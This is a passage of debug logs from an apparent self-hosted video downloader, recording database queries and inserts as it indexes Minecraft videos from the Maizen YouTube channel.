s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:50.680 [debug] QUERY OK source="media_items" db=1.2ms idle=1002.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-23 01:41:39Z], 2] 18:04:50.681 [debug] QUERY OK source="media_items" db=0.6ms idle=1003.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "d9d809e8-a9c3-468b-ae75-d625bca159d6", "G0WIo8d6jaQ", 1140, false, "https://www.youtube.com/watch?v=G0WIo8d6jaQ", 13, "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-23 01:41:39Z], ~U[2026-08-20 01:04:50Z], ~U[2026-08-20 01:04:50Z], "Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "G0WIo8d6jaQ", 1140, false, "https://www.youtube.com/watch?v=G0WIo8d6jaQ", "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", false, 2, ~U[2026-05-23 01:41:39Z]] 18:04:50.682 [debug] QUERY OK source="sources" db=0.1ms idle=73.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:50.682 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:04:50.682 [debug] QUERY OK source="media_items" db=0.1ms idle=3.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [105336] 18:04:50.682 [debug] Current batch of media processed. Will check again in 1000ms 18:04:51.683 [debug] Current batch of media processed. Will check again in 1000ms 18:04:52.684 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're starting a new Minecraft survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 25255, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", "id" => "hRyqA0Yp7pY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=hRyqA0Yp7pY", "playlist_index" => 14, "timestamp" => 1779434034, "title" => "Minecraft", "upload_date" => "20260522"} 18:04:52.684 [debug] QUERY OK source="sources" db=0.1ms idle=997.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:04:52.685 [debug] QUERY OK source="sources" db=0.1ms idle=997.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:52.686 [debug] QUERY OK source="media_items" db=1.2ms idle=998.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 07:13:54Z], 2] 18:04:52.687 [debug] QUERY OK source="media_items" db=0.6ms idle=999.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're starting a new Minecraft survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft", "e0f5a218-b56d-4673-af0c-3de5c7e21901", "hRyqA0Yp7pY", 25255, false, "https://www.youtube.com/watch?v=hRyqA0Yp7pY", 14, "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-22 07:13:54Z], ~U[2026-08-20 01:04:52Z], ~U[2026-08-20 01:04:52Z], "Today, we're starting a new Minecraft survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft", "hRyqA0Yp7pY", 25255, false, "https://www.youtube.com/watch?v=hRyqA0Yp7pY", "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", false, 2, ~U[2026-05-22 07:13:54Z]] 18:04:52.688 [debug] QUERY OK source="sources" db=0.1ms idle=76.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:52.688 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:04:52.688 [debug] QUERY OK source="media_items" db=0.1ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [105337] 18:04:52.689 [debug] Current batch of media processed. Will check again in 1000ms 18:04:53.689 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 2386, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", "id" => "gu_xiQyFWhs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=gu_xiQyFWhs", "playlist_index" => 15, "timestamp" => 1778987277, "title" => "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "upload_date" => "20260517"} 18:04:53.690 [debug] QUERY OK source="sources" db=0.2ms idle=1001.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:04:53.690 [debug] QUERY OK source="sources" db=0.1ms idle=1002.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:53.692 [debug] QUERY OK source="media_items" db=1.2ms idle=1002.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-17 03:07:57Z], 2] 18:04:53.693 [debug] QUERY OK source="media_items" db=0.6ms idle=1003.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "3fe2af44-d746-4882-8534-47404a3645bd", "gu_xiQyFWhs", 2386, false, "https://www.youtube.com/watch?v=gu_xiQyFWhs", 15, "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", false, false, false, 2, [], 98, ~U[2026-05-17 03:07:57Z], ~U[2026-08-20 01:04:53Z], ~U[2026-08-20 01:04:53Z], "Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "gu_xiQyFWhs", 2386, false, "https://www.youtube.com/watch?v=gu_xiQyFWhs", "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", false, 2, ~U[2026-05-17 03:07:57Z]] 18:04:53.693 [debug] QUERY OK source="sources" db=0.1ms idle=80.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:53.693 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:04:53.694 [debug] QUERY OK source="media_items" db=0.2ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [86028] 18:04:53.694 [debug] Current batch of media processed. Will check again in 1000ms 18:04:54.695 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 915, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", "id" => "sbn-vC02XcE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=sbn-vC02XcE", "playlist_index" => 16, "timestamp" => 1778901923, "title" => "500 Million Year Button", "upload_date" => "20260516"} 18:04:54.696 [debug] QUERY OK source="sources" db=0.2ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:04:54.696 [debug] QUERY OK source="sources" db=0.1ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:54.697 [debug] QUERY OK source="media_items" db=1.2ms idle=1002.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-16 03:25:23Z], 2] 18:04:54.698 [debug] QUERY OK source="media_items" db=0.6ms idle=1003.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "500 Million Year Button", "21bbe11b-ce41-4dd1-a00c-e3ae1e3a42cd", "sbn-vC02XcE", 915, false, "https://www.youtube.com/watch?v=sbn-vC02XcE", 16, "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", false, false, false, 2, [], 98, ~U[2026-05-16 03:25:23Z], ~U[2026-08-20 01:04:54Z], ~U[2026-08-20 01:04:54Z], "Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "500 Million Year Button", "sbn-vC02XcE", 915, false, "https://www.youtube.com/watch?v=sbn-vC02XcE", "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", false, 2, ~U[2026-05-16 03:25:23Z]] 18:04:54.699 [debug] QUERY OK source="sources" db=0.1ms idle=83.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:54.699 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:04:54.699 [debug] QUERY OK source="media_items" db=0.1ms idle=3.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [81994] 18:04:54.699 [debug] Current batch of media processed. Will check again in 1000ms 18:04:55.700 [debug] Current batch of media processed. Will check again in 1000ms 18:04:56.701 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 955, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", "id" => "5bH1T7ZwmjA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=5bH1T7ZwmjA", "playlist_index" => 17, "timestamp" => 1778643903, "title" => "MUTANT Speedrunners VS Hunter in Minecraft", "upload_date" => "20260513"} 18:04:56.702 [debug] QUERY OK source="sources" db=0.2ms idle=83.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:04:56.702 [debug] QUERY OK source="sources" db=0.1ms idle=14.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:04:56.703 [debug] QUERY OK source="media_items" db=1.2ms idle=15.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-13 03:45:03Z], 2] 18:04:56.705 [debug] QUERY OK source="media_items" db=1.5ms idle=16.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MUTANT Speedrunners VS Hunter in Minecraft", "409b099e-5427-4a97-bd63-375f7ac15939", "5bH1T7ZwmjA", 955, false, 